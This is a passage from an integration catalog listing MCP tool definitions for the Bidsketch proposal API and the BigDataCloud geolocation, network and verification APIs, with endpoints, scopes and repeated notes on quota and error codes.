/proposals.json. Returns all the proposals for the account (name, description, status, is_draft), 100 per page by default. GET /api/v1/bidsketch/proposals.json. Scopes: api. bidsketch_get_proposals_stats_json (read) — Get Proposal Stats via GET /proposals/stats.json. Returns proposal statistics for the account (the total count). GET /api/v1/bidsketch/proposals/stats.json. Scopes: api. bidsketch_get_sections_by_section_id_json (read) — Get Section via GET /sections/{section_id}.json. Fetches a saved section, including its HTML description. GET /api/v1/bidsketch/sections/{section_id}.json. Scopes: api. bidsketch_get_sections_json (read) — Get Sections via GET /sections.json. Lists all the sections saved to the account to be reused in future proposals. GET /api/v1/bidsketch/sections.json. Scopes: api. bidsketch_get_templates_by_template_id_json (read) — Get Template via GET /templates/{template_id}.json. Gets a single template with the account-level sections and fees it references. GET /api/v1/bidsketch/templates/{template_id}.json. Scopes: api. bidsketch_get_templates_json (read) — Get Templates via GET /templates.json. Lists all the proposal templates saved for the account. Templates are read-only through the API. GET /api/v1/bidsketch/templates.json. Scopes: api. bidsketch_post_clients_json (write) — Create Client via POST /clients.json. Creates a client from the provided data and answers 201 Created with it. first_name, last_name and email are required. Some plans limit the number of clients; at the limit Bidsketch answers 426 Upgrade Required. POST /api/v1/bidsketch/clients.json. Scopes: api. bidsketch_post_fees_json (write) — Create Fee via POST /fees.json. Saves a reusable fee to the account. name, amount and feetype are required. POST /api/v1/bidsketch/fees.json. Scopes: api. bidsketch_post_proposals_by_proposal_id_fees_json (write) — Create Proposal Fee via POST /proposals/{proposal_id}/fees.json. Creates a fee on a proposal. name, description, feetype and amount are required; optional marks it as an optional item. POST /api/v1/bidsketch/proposals/{proposal_id}/fees.json. Scopes: api. bidsketch_post_proposals_by_proposal_id_sections_json (write) — Create Proposal Section via POST /proposals/{proposal_id}/sections.json. Creates a section on a proposal. name, sectiontype (opening or closing) and description are required. POST /api/v1/bidsketch/proposals/{proposal_id}/sections.json. Scopes: api. bidsketch_post_proposals_json (write) — Create Proposal via POST /proposals.json. Creates a proposal from scratch. name and client_id are required, and the docs' walkthrough supplies description too; add content afterwards with Create Proposal Section and Create Proposal Fee. Some plans limit the number of proposals (426 Upgrade Required at the limit). POST /api/v1/bidsketch/proposals.json. Scopes: api. bidsketch_post_sections_json (write) — Create Section via POST /sections.json. Saves a reusable section to the account. name and sectiontype (opening or closing) are required. POST /api/v1/bidsketch/sections.json. Scopes: api. bidsketch_post_templates_by_template_id_proposals_json (write) — Create Proposal From Template via POST /templates/{template_id}/proposals.json. Creates a proposal from an existing template, which also creates the template's proposal sections and fees. name and client_id are required, and the docs' walkthrough supplies description too. Some plans limit the number of proposals (426 Upgrade Required at the limit). POST /api/v1/bidsketch/templates/{template_id}/proposals.json. Scopes: api. bidsketch_post_webhooks_json (write) — Create Webhook via POST /webhooks.json. Creates a webhook for one event; event and endpoint are required. Bidsketch POSTs {event, data} to the endpoint, which must answer 200 OK (it retries 20 times, and a 410 Gone deletes the webhook). Store the returned id to delete it later. POST /api/v1/bidsketch/webhooks.json. Scopes: api. bidsketch_put_clients_by_client_id_json (write) — Update Client via PUT /clients/{client_id}.json. Updates a client with the provided data (the docs' example sends only the fields being changed) and returns the updated client. PUT /api/v1/bidsketch/clients/{client_id}.json. Scopes: api. bidsketch_put_fees_by_fee_id_json (write) — Update Fee via PUT /fees/{fee_id}.json. Updates a saved fee with the provided data. PUT /api/v1/bidsketch/fees/{fee_id}.json. Scopes: api. bidsketch_put_proposals_by_proposal_id_fees_by_fee_id_json (write) — Update Proposal Fee via PUT /proposals/{proposal_id}/fees/{fee_id}.json. Updates a proposal fee with the provided data. PUT /api/v1/bidsketch/proposals/{proposal_id}/fees/{fee_id}.json. Scopes: api. bidsketch_put_proposals_by_proposal_id_json (write) — Update Proposal via PUT /proposals/{proposal_id}.json. Updates a proposal with the provided data (the docs' example sends only description). PUT /api/v1/bidsketch/proposals/{proposal_id}.json. Scopes: api. bidsketch_put_proposals_by_proposal_id_sections_by_section_id_json (write) — Update Proposal Section via PUT /proposals/{proposal_id}/sections/{section_id}.json. Updates a proposal section with the provided data. PUT /api/v1/bidsketch/proposals/{proposal_id}/sections/{section_id}.json. Scopes: api. bidsketch_put_sections_by_section_id_json (write) — Update Section via PUT /sections/{section_id}.json. Updates a saved section with the provided data. PUT /api/v1/bidsketch/sections/{section_id}.json. Scopes: api. ================================================================================ ## BigDataCloud URL: https://www.agenticfabriq.com/integrations/bigdatacloud Section: Integrated Tools BigDataCloud — 27 MCP tools Provider key: bigdatacloud. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bigdatacloud_get_address_space_stats_ipv4 (read) — A status report for the whole IPv4 address space: total, announced and bogon address counts with the registry allocation breakdown, combining registry data (refreshed at least daily) with live BGP state (every two hours). Takes no arguments. Reached over GET https://api-bdc.net/data/address-space-stats-ipv4 in BigDataCloud's Network Engineering package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/address-space-stats-ipv4. Scopes: api. bigdatacloud_get_address_space_stats_ipv6 (read) — The IPv6 counterpart of `bigdatacloud_get_address_space_stats_ipv4`: total, announced and bogon counts over the 2^128 IPv6 space with the registry breakdown. Takes no arguments. BigDataCloud publishes no REST reference page for this endpoint -- it is documented as the `ipV6` field of the network-engineering GraphQL schema and was confirmed live on 2026-09-24 UTC (200 with the key, 403 without). Reached over GET https://api-bdc.net/data/address-space-stats-ipv6 in BigDataCloud's Network Engineering package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/address-space-stats-ipv6. Scopes: api. bigdatacloud_get_asn_info (read) — Registration details, announced IPv4 address space and global rank for one autonomous system. The short form; `bigdatacloud_get_asn_info_full` adds routing relationships. An ASN that does not exist answers 404 'no valid entry found for the request'. Reached over GET https://api-bdc.net/data/asn-info in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/asn-info. Scopes: api. bigdatacloud_get_asn_info_full (read) — Everything `bigdatacloud_get_asn_info` returns plus the networks this autonomous system receives traffic from and transits traffic to, and the coordinates of its most active operating region. The routing data is refreshed every two hours. `peersCap` caps each relationship list at 50; page beyond that with `bigdatacloud_get_asn_info_receiving_from` and `bigdatacloud_get_asn_info_transit_to`. THIS RESPONSE IS LARGE -- AS15169 returns about 115 KB. Reached over GET https://api-bdc.net/data/asn-info-full in BigDataCloud's Network Engineering package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/asn-info-full. Scopes: api. bigdatacloud_get_asn_info_receiving_from (read) — The upstream and peering side of one autonomous system's routing relationships, paginated. Use this rather than `bigdatacloud_get_asn_info_full` when the list is long: 50 is the hard batch limit, and `offset` walks the rest. Reached over GET https://api-bdc.net/data/asn-info-receiving-from in BigDataCloud's Network Engineering package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/asn-info-receiving-from. Scopes: api. bigdatacloud_get_asn_info_transit_to (read) — The downstream side of one autonomous system's routing relationships, paginated. The companion to `bigdatacloud_get_asn_info_receiving_from`; 50 is the hard batch limit. Reached over GET https://api-bdc.net/data/asn-info-transit-to in BigDataCloud's Network Engineering package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/asn-info-transit-to. Scopes: api. bigdatacloud_get_asn_rank_list (read) — Every autonomous system BigDataCloud tracks, ranked by the total IPv4 address count it announces on BGP -- about 81,000 of them -- sortable and paginated. Takes no required argument: it is the whole list. `total` in the response is the population, not the page. Reached over GET https://api-bdc.net/data/asn-rank-list in BigDataCloud's Network Engineering package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/asn-rank-list. Scopes: api. bigdatacloud_get_country_by_ip (read) — Country-level context for an address -- ISO names and codes, official languages, currency, calling code, UN region and World Bank income level -- without the full geolocation payload. The lightweight choice for form localisation, currency selection or regional content. Reached over GET https://api-bdc.net/data/country-by-ip in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/country-by-ip. Scopes: api. bigdatacloud_get_country_info (read) — Reference data for a country given its ISO 3166-1 code: isoAlpha-2, isoAlpha-3 and M49 numeric codes, ISO names, official languages, currency, calling code, flag emoji, UN region and World Bank income level. Takes a COUNTRY CODE, not an IP address. An unknown code answers 404 'no valid entry found for the request'. Reached over GET https://api-bdc.net/data/country-info in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/country-info. Scopes: api. bigdatacloud_get_email_verify (read) — Check one address before it reaches your database: full RFC 822 / 2822 / 5321 syntax compliance, whether the domain has a working mail server, and whether it belongs to a known disposable or abusive domain. NO SMTP HANDSHAKE IS PERFORMED, so nothing is delivered and no receiving server sees a probe -- which also means a syntactically valid address on a live domain can still be an empty mailbox. Reached over GET https://api-bdc.net/data/email-verify in BigDataCloud's Phone & Email Verification package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/email-verify. Scopes: api. bigdatacloud_get_hazard_report (read) — The risk signals for one address on their own: Tor, VPN and proxy flags, Spamhaus DROP/EDROP/ASN-DROP and other blocklist appearances, mail-server and public-router flags, bogon and unreachable flags, cellular and iCloud Private Relay flags, and `hostingLikelihood` (0-10, how likely the address is data-centre rather than residential). The same object is embedded in `bigdatacloud_get_ip_geolocation_full`. Reached over GET https://api-bdc.net/data/hazard-report in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/hazard-report. Scopes: api. bigdatacloud_get_ip_geolocation (read) — Geolocate an IPv4 or IPv6 address to country, region, city and locality, with the network and time zone that serve it. BigDataCloud locates an address by identifying the router that delivers traffic to it and that router's measured service area (US Patent 11,792,110 B2) rather than by reading a WHOIS registration, so the answer describes how the network actually routes. Reached over GET https://api-bdc.net/data/ip-geolocation in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/ip-geolocation. Scopes: api. bigdatacloud_get_ip_geolocation_full (read) — The widest IP answer BigDataCloud gives: geolocation, the confidence-area polygon and the hazard report in one call. The hazard report adds forward-looking risk signal -- whether the address belongs to hosting infrastructure rather than a residential network (`hostingLikelihood`, 0-10) -- to the backward-looking blocklist and anonymiser flags. Prefer this over three separate calls: BigDataCloud meters by call, so one wide call costs less quota than the parts. Reached over GET https://api-bdc.net/data/ip-geolocation-full in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/ip-geolocation-full. Scopes: api. bigdatacloud_get_ip_geolocation_with_confidence (read) — Everything `bigdatacloud_get_ip_geolocation` returns, plus a `confidenceArea` polygon: the other places this address may be found when it is assigned dynamically or shared. THE POLYGON IS AN ESTIMATE, NOT A BOUNDARY -- its size is not a confidence score and it says nothing about how the address is distributed inside it. Read `country` first, then `confidenceArea`, then the `location` pin. Reached over GET https://api-bdc.net/data/ip-geolocation-with-confidence in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/ip-geolocation-with-confidence. Scopes: api. bigdatacloud_get_network_by_cidr (read) — The sub-prefixes actually announced on BGP inside a CIDR block, with their autonomous systems and registration details. `depthLimit` controls how far down the sub-prefix nesting is walked, and `subnetsBatchSize`/`subnetsOffset` page the subnet list (20 is both the default and the hard limit). Reached over GET https://api-bdc.net/data/network-by-cidr in BigDataCloud's Network Engineering package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/network-by-cidr. Scopes: api. bigdatacloud_get_network_by_ip (read) — Network-level context rather than a location: the registry and registration status, the BGP prefix, the organisation, and the autonomous systems that announce (`carriers`) and transit (`viaCarriers`) the address, each with its rank. Reached over GET https://api-bdc.net/data/network-by-ip in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/network-by-ip. Scopes: api. bigdatacloud_get_phone_number_validate (read) — Normalise and validate a phone number against E.164: returns the E.164, international and national spellings, the line type (mobile, fixed line, VoIP, toll free and so on) and country context. `countryCode` tells it which national format to read a local number in; a number already in +E.164 form does not need one. Reached over GET https://api-bdc.net/data/phone-number-validate in BigDataCloud's Phone & Email Verification package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/phone-number-validate. Scopes: api. bigdatacloud_get_phone_number_validate_by_ip (read) — The same validation as `bigdatacloud_get_phone_number_validate`, but the expected country is inferred from an IP address instead of being passed as a code -- for sign-up forms with no country selector. PASS THE END USER'S ADDRESS EXPLICITLY: omitting `ip` makes the provider use the caller's, which here is the gateway's own egress address, and a national-format number is then read against the wrong country (measured 2026-09-24 UTC: a US number came back as +92, Pakistan). Reached over GET https://api-bdc.net/data/phone-number-validate-by-ip in BigDataCloud's Phone & Email Verification package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/phone-number-validate-by-ip. Scopes: api. bigdatacloud_get_prefixes_list (read) — The prefixes currently announced on BGP, paginated -- over 1.5 million of them unfiltered. Narrow with `asn` to one autonomous system, or with `bogonsOnly=true` to reserved or unallocated space that should not be routed at all. `isv4=false` returns IPv6 prefixes; IPv4 is assumed when the flag is omitted. Reached over GET https://api-bdc.net/data/prefixes-list in BigDataCloud's Network Engineering package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/prefixes-list. Scopes: api. bigdatacloud_get_reverse_geocode (read) — Turn latitude and longitude into structured locality data: continent, country, principal subdivision, city, locality and postcode, with the administrative hierarchy behind them. BigDataCloud resolves to administrative and non-administrative BOUNDARIES rather than to the nearest street address, so the answer stays consistent where street data is sparse. This is the SERVER-SIDE, keyed endpoint -- the free client-side one is not shipped here. Reached over GET https://api-bdc.net/data/reverse-geocode in BigDataCloud's Reverse Geocoding package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/reverse-geocode. Scopes: api. bigdatacloud_get_reverse_geocode_with_timezone (read) — `bigdatacloud_get_reverse_geocode` and `bigdatacloud_get_timezone_by_location` in one call. Prefer it when you need both: BigDataCloud meters by call, so this is half the quota and half the latency of asking twice. Reached over GET https://api-bdc.net/data/reverse-geocode-with-timezone in BigDataCloud's Reverse Geocoding package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/reverse-geocode-with-timezone. Scopes: api. bigdatacloud_get_timezone_by_ip (read) — The IANA time zone for an address -- identifier, display name, UTC offset, daylight-saving state and current local time -- resolved from the address, so no separate geolocation call is needed. Reached over GET https://api-bdc.net/data/timezone-by-ip in BigDataCloud's IP Geolocation package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same sentence, so 403 alone does not say which of the two happened. 400 'bad request' is what a missing required argument produces, and 404 'no valid entry found for the request' means the argument was well-formed but matched no record, such as an unknown ASN or country code. GET /api/v1/bigdatacloud/data/timezone-by-ip. Scopes: api. bigdatacloud_get_timezone_by_location (read) — The IANA time zone for a pair of coordinates -- identifier, UTC offset, daylight-saving state and schedule, and local time. Pass `utcReference` to convert a specific instant rather than now. Reached over GET https://api-bdc.net/data/timezone-by-location in BigDataCloud's Reverse Geocoding package. QUOTA IS MONTHLY, NOT PER SECOND: BigDataCloud publishes no per-second or per-minute rate limit, and every plan reaches every endpoint -- you pay for volume, not for access -- so a refusal is never 'this tool needs a bigger plan', and waiting does not clear an exhausted monthly allowance. READ THE BODY, NOT THE STATUS, BECAUSE NOTHING HERE ANSWERS 401 (measured 2026-09-24 UTC, against BigDataCloud's own documentation, which promises one): a key that is refused, absent or empty all answer 403 {"status":403,"description":"access denied or your quota limit has been exceeded"} -- and an exhausted monthly allowance answers the same status with the same 